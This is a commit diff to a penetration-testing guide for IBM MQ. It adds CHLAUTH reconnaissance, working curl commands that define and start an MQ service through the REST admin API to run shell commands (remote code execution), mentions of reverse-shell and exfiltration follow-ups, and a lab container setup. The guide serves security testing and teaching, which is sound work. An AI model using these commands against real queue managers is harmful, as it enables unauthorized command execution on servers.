Skip to content

Commit 50f260a

Browse files
authored
Merge pull request #2048 from HackTricks-wiki/research_update_src_network-services-pentesting_1414-pentesting-ibmmq_20260323_024653
Research Update Enhanced src/network-services-pentesting/141...
2 parents 4251e73 + 6e26eb1 commit 50f260a

1 file changed

Lines changed: 83 additions & 4 deletions

File tree

src/network-services-pentesting/1414-pentesting-ibmmq.md

Lines changed: 83 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -68,6 +68,8 @@ After, it can be used with `punch-q` command.
6868

6969
You can try to enumerate the **queue manager name, the users, the channels and the queues** with **punch-q** or **pymqi**.
7070

71+
If TCP/1414 is filtered or the target only exposes the embedded web server, check **TCP/9443** too. Recent IBM MQ versions expose the **IBM MQ Console / REST API** there by default when `mqweb` is enabled, and the administrative REST endpoint can execute arbitrary **MQSC** commands if you have valid credentials.
72+
7173
### Queue Manager
7274

7375
Sometimes, there is no protection against getting the Queue Manager name:
@@ -155,6 +157,29 @@ Showing channels with prefix: "*"...
155157
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
156158
```
157159

160+
### CHLAUTH / OAM recon
161+
162+
A lot of "it connects but returns `2035`" cases are caused by **CHLAUTH** rules or by missing **OAM** permissions on the target objects.
163+
164+
If you already have administrative MQSC access, `MATCH(RUNCHECK)` is the fastest way to understand which rule will be applied to a remote connection:
165+
166+
```bash
167+
echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
168+
| runmqsc MYQUEUEMGR
169+
```
170+
171+
Through the REST admin endpoint on `9443`, the same check can be done remotely:
172+
173+
```bash
174+
curl -sku 'admin:passw0rd' \
175+
-H 'ibm-mq-rest-csrf-token: anything' \
176+
-H 'Content-Type: text/plain;charset=utf-8' \
177+
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
178+
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
179+
```
180+
181+
If you have enough rights to use PCF remotely, IBM exposes `MQCMD_INQUIRE_CHLAUTH_RECS`, which returns the channel authentication records and their mappings to `MCAUSER`. That is useful to confirm whether a channel maps remote users to a more privileged local account before trying message access, object creation, or service abuse.
182+
158183
### Queues
159184

160185
There is a code snippet with **pymqi** (`dis_queues.py`) but **punch-q** permits to retrieve more pieces of info about the queues:
@@ -213,6 +238,8 @@ You can target queue(s)/channel(s) to sniff out / dump messages from them (non-d
213238
>
214239
> _Note: always according to IBM MQ documentation (Administration Reference), there is also an HTTP endpoint at `/admin/action/qmgr/{qmgrName}/mqsc` to run the equivalent MQSC command for service creation (`DEFINE SERVICE`). This aspect is not covered yet here._
215240
241+
If **MQ Console / REST API** credentials are available, you can often reach the same administrative primitives over HTTPS on **9443** without using the MQ client libraries. IBM documents `/ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc` as an endpoint that accepts **plain-text MQSC** or **JSON** commands.
242+
216243
The service creation / deletion with PCF for remote program execution can be done by **punch-q**:
217244

218245
**Example 1**
@@ -246,6 +273,34 @@ Done
246273
247274
**Be aware that the program launch is asynchronous. So you need a second item to leverage the exploit** **_(listener for reverse shell, file creation on different service, data exfiltration through network ...)_**
248275

276+
The same technique can be driven from the REST API:
277+
278+
```bash
279+
curl -sku 'admin:passw0rd' \
280+
-H 'ibm-mq-rest-csrf-token: anything' \
281+
-H 'Content-Type: text/plain;charset=utf-8' \
282+
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
283+
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
284+
285+
curl -sku 'admin:passw0rd' \
286+
-H 'ibm-mq-rest-csrf-token: anything' \
287+
-H 'Content-Type: text/plain;charset=utf-8' \
288+
--data "START SERVICE(HACKTRICKS)" \
289+
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
290+
291+
curl -sku 'admin:passw0rd' \
292+
-H 'ibm-mq-rest-csrf-token: anything' \
293+
-H 'Content-Type: text/plain;charset=utf-8' \
294+
--data "DELETE SERVICE(HACKTRICKS)" \
295+
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
296+
```
297+
298+
This is especially useful during assessments where:
299+
300+
- `9443` is reachable but `1414` is restricted to a smaller source range
301+
- The target team manages IBM MQ mainly through the web console and has forgotten to harden the REST roles
302+
- You want to avoid installing IBM MQ client libraries locally and only need MQSC-level administration
303+
249304
**Example 2**
250305

251306
For easy reverse shell, **punch-q** proposes also two reverse shell payloads :
@@ -338,19 +393,41 @@ If you want to test the IBM MQ behavior and exploits, you can set up a local env
338393
2. Create a containerized IBM MQ with:
339394
340395
```bash
341-
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
342-
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
396+
sudo docker pull icr.io/ibm-messaging/mq:latest
397+
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest
343398
```
344399
345-
By default, the authentication is enabled, the username is `admin` and the password is `passw0rd` (Environment variable `MQ_ADMIN_PASSWORD`).
346400
Here, the queue manager name has been set to `MYQUEUEMGR` (variable `MQ_QMGR_NAME`).
347401

402+
Recent **9.4.x** developer images changed the out-of-the-box behavior:
403+
404+
- `admin` and `app` are only created if you set their passwords
405+
- IBM documents `MQ_ADMIN_PASSWORD` / `MQ_APP_PASSWORD` as **deprecated** from `9.4.0.0`
406+
- The preferred way is to inject secrets named `mqAdminPassword` and `mqAppPassword`
407+
408+
For a quick local lab with Podman, you can create both users like this:
409+
410+
```bash
411+
printf 'passw0rd' | podman secret create mqAdminPassword -
412+
printf 'passw0rd' | podman secret create mqAppPassword -
413+
podman run --secret mqAdminPassword --secret mqAppPassword \
414+
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
415+
-p1414:1414 -p9157:9157 -p9443:9443 \
416+
--name testing-ibmmq icr.io/ibm-messaging/mq:latest
417+
```
418+
419+
With the default developer configuration:
420+
421+
- `DEV.ADMIN.SVRCONN` only allows the `admin` user
422+
- `DEV.APP.SVRCONN` is the application channel and the `app` user is the expected identity
423+
- `https://<target>:9443/ibmmq/console` exposes the web console when the embedded web server is enabled
424+
348425
You should have the IBM MQ up and running with its ports exposed:
349426

350427
```bash
351428
❯ sudo docker ps
352429
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
353-
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
430+
58ead165e2fd icr.io/ibm-messaging/mq:latest "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
354431
```
355432

356433
> The old version of IBM MQ docker images are at: https://hub.docker.com/r/ibmcom/mq/.
@@ -360,6 +437,8 @@ CONTAINER ID IMAGE COMMAND CRE
360437
- [mgeeky's gist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
361438
- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
362439
- [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq)
440+
- [IBM MQ REST API: `/admin/action/qmgr/{qmgrName}/mqsc`](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=resources-adminactionqmgrqmgrnamemqsc)
441+
- [IBM MQ container default developer configuration](https://github.com/ibm-messaging/mq-container/blob/master/docs/developer-config.md)
363442

364443

365444

0 commit comments

Comments
 (0)